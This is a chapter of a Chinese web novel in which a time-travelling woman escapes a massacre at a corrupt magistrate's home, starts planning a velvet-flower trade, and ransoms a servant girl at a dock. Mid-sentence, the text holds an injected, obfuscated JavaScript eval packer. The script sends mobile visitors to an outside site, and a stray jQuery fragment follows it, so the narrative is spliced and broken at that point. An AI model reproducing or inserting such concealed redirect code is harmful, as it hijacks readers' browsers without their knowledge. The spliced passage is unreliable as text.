2. 第二章 恻隐之心
作品:《我在汴京做绒花》 闭眼等了半晌,见并没有想象中的当头一刀,常春再给自己鼓了鼓劲,忍着浑身剧痛,膝行至榻几边,找出了刚刚混乱中被扫到地下的钥匙。
其上系着珠络流苏,精巧非常。
她在赌,实则她对什么名册藏在哪儿,一点把握都没有。
但方才在生死恍惚之间听见二人对话,她突然记起刚刚这个狗官为了哄她说的——这是他私库文书匣子的钥匙。
一个妾的身契,远不至于需要专门藏在私库中,还要锁在匣内,并将如此镶金嵌宝的一把钥匙随身携带。
她转身深深伏地,只留给众人一段雪白的脖颈,高举双手中的钥匙颤声道:“大人明鉴,这便是韩宽私库文书匣子的钥匙。”
她用眼角余光,瞥到被侍卫制住的韩宽疯了一般挣扎起来,心头顿时一松,果然让她蒙对了。
常春抬头微微拭泪,雪白小脸上溅着一道鲜红血痕,素净中透着一丝无匹艳丽。
她纤细的身体犹自微微颤抖,竟似怕到了极点,令人无端想起围场中被无情弓箭射中的小鹿。
她哑声哽咽道:“妾本是良家女子,今日才被这知县强纳进府中,前尘往事尽皆不晓。还望大人怜惜,放妾一条生路。”
一旁的侍卫投来问询的目光,凌肃哂然一笑,心知这女子绝不像她表现出来的这样柔弱无害。
他的视线扫过地上带血银簪,又看向韩宽颈间尚在冒血的伤口,若非这女子力气太小,只怕韩宽早被她刺死,叫她逃了出去。
凌肃瞥过一个眼神,侍卫立即会意,横刀一抹,当即便结果了韩宽。
他喉间气道断开,喝喝作响,颈中鲜血冲天飞起,泼洒在常春身前的地毯上,又腥又热。
常春死死压抑着喉间欲喷薄而出的尖叫,十指深深抠进了软毯中,指间沾满鲜血的黏腻湿热。
下一个会是我吗?
她浑身发着抖等待着。
良久,在常春几乎觉得自己已经在劫难逃的时候,拿着钥匙出去的侍卫去而复返,将一个朱漆错金的锦匣递给凌肃。
凌肃接过打开随意翻了翻,略过面上火漆封缄的名册,修长手指自匣底夹起薄薄一张契书,问她:“你叫常春?”
常春如梦初醒。
她此刻已不敢再故作柔弱之态,只深深埋首,紧紧咬着牙关,连连磕头:“贱妾之名,不敢污了大人尊耳。”
良久,那张轻薄的契书自他指尖飘落到她面前。
他淡淡地说:“拿上它,走吧。”
常春几乎不敢相信自己的耳朵,她迟疑着抬头望向上方端坐着的青年,依旧是冷肃眉目,端凝中带着一些漫不经心的神情。
他轻启薄唇,冷冷问她:“还不走?”
常春一个激灵回过神来,猛地起身,抓过身契连滚带爬的跑走了。
“遇荼蘼花架向左……抄手游廊后的三岔路选右边……假山石后有很高的台阶要小心……”
她浑身已被冷汗湿透,风一吹彻骨冰冷,但她此刻全无知觉,只顾埋头咬唇,凭着本能在心中默背着刚才硬记下的进府路线,飞速穿梭在韩府后宅中曲折回环的道路上。
不到一盏茶时间,她就站在了韩府外的长街上。
脚底黏腻的触感,不用看也知道是什么——方才匆匆跑过正院时,她仓促间在门缝中窥见的那一地尸体,淌出来的鲜血湖泊。
背后滔天大火燃起,映亮半边夜空。
想必明日韩府满门,便会在世人口中死于一个合理的理由吧。
一阵恶寒自脊椎升起,常春强自压抑住胸腔中翻涌的血气,拔足狂奔。
常春回了自家小院后,足足发了一天一夜的高烧。
她终归只是个生在红旗下,长在春风里的年轻女孩子,这几天噩梦般的经历,在她稍微缓过来后,就变成了几乎要将魂魄都焚烧殆尽的高热。
她做了许多光怪陆离的梦。
爸妈,外婆,宿舍里玩笑嬉闹的舍友,校门外的黄焖鸡米线,还有她刚刚建立的简陋工作室,以及立志要成为一代非遗绒花大师的、不知天高地厚的梦想……
……都在梦境中离她远去了。
她蜷缩起来,喃喃自语:“外婆,我好害怕,好想回家……”
常春最终未能如愿以偿。
北宋的阳光,如同之前和之后的千年万年一样,穿透薄纱般的晨霭,如常唤醒了大地上的人们,也照亮了溧水边这间小小的院子。
河岸边一支满载蔬果的驴队自小院外走过,叮当作响的铃声敲醒了沉睡中的常春。
她睁眼环视一圈,自己仍然留在这里。
依旧是简陋而温馨的屋内陈设,瘸了条腿的木案上,还放着一个陈旧却憨态可掬的布老虎。
原身同她一样,也有个相依为命,又于不久前去世的外祖母。
常春吃力地坐起来,手指紧紧抓住了身下的被褥,咬牙道:“既然回不去,那就活下去!”
她抚上心口,感受着那蓬勃跃动的心跳:
“连带着你的那份,一起活下去!”
常春在心中过了一下这几日的见闻,有了个模模糊糊的打算,但她还需要再去市井间验证验证。
腹中传来“咕”的一声,她迎着晨曦笑了笑,这样还知道饿的感觉,竟也很不错呢。
她下床草草洗了把脸,穿上一身青布衣裙,头上随意用木簪挽了个髻,纵使荆钗布裙,依旧难掩清丽容色。
想了想,为防有人认得她,牵扯出韩府那桩事,又在头上罩了个幂篱。这才将前日换下来的妆花褙子,锦缎褶裙放进竹篮里,挎着出了院门。
她去的是离家最远的城西。先找了一间典当铺子,将那套进府所穿的华丽衣裙当了三十贯,又软声托掌柜的将其余铜钱尽数兑成体积小好携带的官银,只余一贯零散铜钱在身边备用。
纵常春头戴幂篱,仍旧依稀可见其窈窕身姿,端稳步伐。
兼之她一开口语调干脆,口齿伶俐,听着便知是个心中有成算的小娘子,因此掌柜的并不敢十分压价,又规规矩矩按照吩咐兑来银子交付与她。
常春接过,福身行了个礼,问他道:“敢问掌柜,此地的丝线庄,花色最多,货物最好的是哪一家?”
蚕丝线是制作绒花最重要的材料,丝线的质量好坏,直接影响到绒花成品的绒感与光泽度。
溧阳此地正是江浙一带丝织业最发达的地区,华美锦缎销往四方,天下闻名。是以这里家家户户皆蓄桑养蚕,煮茧缫丝,丝价较他地更廉。
一路自城东行至城西,常春留神打量此间女子打扮妆饰。
服饰倒是宋代常见的长短褙子并各式褶裙儿,发间所饰花朵却多是纱罗堆成,偶见一两支类似绒花的发饰,也多是形态僵硬、式样老旧、色泽呆板之物。
常春想想自己的手艺,心中又添了两分自信。
宋人好装饰,无论男女皆喜戴花。
这一会儿功夫,常春眼前便过去了几个簪花少年,嘻嘻哈哈笑闹着,风流恣肆,青春洋溢。
她的脸上也不禁挂上了一点笑容,胸腔中似乎有勃勃希望跃动着,自惶恐忧虑中长出一株细弱的幼苗。
她顿了顿,随即快步向丝线庄的方向而去。
对面酒阁,楼上包厢内。
一名锦衣侍卫躬身问
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882899|191969||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道:“少尹大人,韩府的事收尾已毕,大人还有何指示?”
着绯袍的少尹大人却斜倚窗格,良久不语,视线往下不知在看什么,半晌轻笑一声:“事既已毕,明日便回汴京去。”
翌日清晨,溧水码头边。
今早五更未过,常春就早早起身收拾了行囊。
又将小院钥匙托给隔壁邻居婶子,许了她几个钱,托她帮忙看顾着些,便毫不留恋的转身走了。
她也想过索性将小院一起卖了,又在看到屋子里明显是原身细心保存的、外祖母的各种绣活后,打消了这个念头。
如果她再不记得,这世上就真的没人记得这一对相依为命的祖孙了。
天光熹微时常春赶到了码头边。
她的灵魂虽然并非本乡人,还是在看到溧水边不断远行的各种船只后,涌上了一阵深深的怅惘。
——直到一阵女子此起彼伏的尖叫让她自愁绪中回过神来。
原来是几名奴仆打扮的女子正被后方几个差役赶上一艘小船,预备贩往其他地方。
许是走得慢了些,后面的男子不耐烦地推搡了一下,最末的小姑娘重心不稳,顿时跌倒在地。
常春定睛一看,顿时失声喊道:“云雀?”
前方几名要被卖往外地的女子,正是那日被发卖的韩府家奴。
云雀回头见了常春,眼中光芒又惊又喜,正待要开口,却被常春疾步上前打断。
为便远行,常春依旧是一身粗布衣裙,乌黑头发在脑后挽了个清爽螺髻,露出修长白皙的颈项,凝目细看,还能看见其上未散的淤青。
她几步行至云雀身前,一把将她搂入怀中放声大哭。
边哭边道:“我可怜的妹子,五岁时你被人牙子抱走,不知卖到了何处……娘在家日日哭,哭瞎了一双眼睛,不想今日姐姐竟在此处找到了你!”
差役上前问询,常春一边抹泪,一边抽抽噎噎说完原委,又道:“官爷若是不信,我家妹妹左手掌缘生有三粒小痣,妾所说是真是假,官爷一验便知。”
不待差役吩咐,云雀便乖觉地伸出了左手。掌缘下方隐蔽处果真有三粒小痣聚在一起,正是那晚韩府中,云雀使出吃奶的劲解绳子时,被常春所见。
差役本来将信将疑,这下也不由得信了七分。
他看着相拥而泣楚楚带泪的姐妹俩,神情虽略有缓和,却仍旧迟疑道:“话虽如此,可这是上司吩咐要远远发卖的罪奴……”
前方一艘白帆航船上,舱内轩窗的茜草帘子稍微卷起,一双琉璃般的眸子直直望向这边。
修长两指轻敲窗沿,年轻的少尹大人神情若有所思,半晌微带讽刺地说了句:
“巧言令色!”
那边常春已经拉着云雀扑通一声跪下,神情凄切,泪珠盈盈,仰脸看着差役恳切道:
“官爷,妾虽为女子,也非是不懂朝中律例如山的道理。”
“……只是妾听闻宫中官家亦有言:‘孝者,天之经,地之义,民之行也。’再则阿娘日夜盼着小妹归去,已是病体支离,还不知撑不撑得过年去……”
常春泪珠汹涌:“今日惟愿官爷允我替妹妹赎身,妾来生定当结草衔环以报大人恩德!”
那差役看看哭得几欲昏死过去的姐妹俩,一狠心一跺脚,咬牙道:“既如此,你们且等我同上司禀报。”
他转身匆匆上了前方的白帆航船。
良久,差役转身回来,道:“官人道‘既是好容易寻到了妹子,没得叫人家骨肉失散的道理,这身价便折半也可。’”
“小娘子,这罪奴原本身价三十六贯,官人开恩,你付十八贯便可。”

